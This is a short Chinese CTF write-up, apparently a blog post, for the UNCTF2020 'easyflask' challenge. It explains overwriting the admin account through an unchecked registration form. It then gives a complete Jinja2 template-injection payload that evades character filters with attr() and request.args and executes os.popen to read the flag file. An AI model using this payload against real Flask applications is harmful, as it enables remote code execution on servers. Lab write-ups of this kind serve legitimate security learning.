UNCTF2020-WEB:easyflask(flask|sstl)

打开页面提示要使用admin登陆

 

 

 

查找目录发现了login和register

fuzz发现注册没有检查账号存在,覆盖admin然后使用admin登陆

 

返回首页发现了提示

admin login success and check the secret route /secret_route_you_do_not_know

 

我们进入这个页面,发现

 

 

 一开始尝试爆破guess。。然后发现是ssti

过滤了[] __ ",

构造exp:     使用attr绕过__gentitem绕过[]

http://bf35842d-9d46-4d8b-9ad1-0aadefb719fb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={{{}|attr(request.args.t1)|attr(request.args.t2)|attr(request.args.t3)()|attr(request.args.t6)(117)|attr(request.args.t4)|attr(request.args.t5)|attr(request.args.t6)(request.args.t7)|attr(request.args.t6)(request.args.t8)(request.args.t9)}}
&t1=__class__
&t2=__base__
&t3=__subclasses__
&t4=__init__
&t5=__globals__
&t6=__getitem__
&t7=__builtins__
&t8=eval
&t9=__import__(%22os%22).popen("cat flag.txt").read()

 

注意:这里的117是__subclasses__里查找的os类,因为0开始,所以是第117个

 

 

也可以是以下的类

 

 

 

 

参考:https://blog.csdn.net/bmth666/article/details/109765055

posted @ 2020-11-24 13:49  LuoSpider  阅读(724)  评论(0编辑  收藏  举报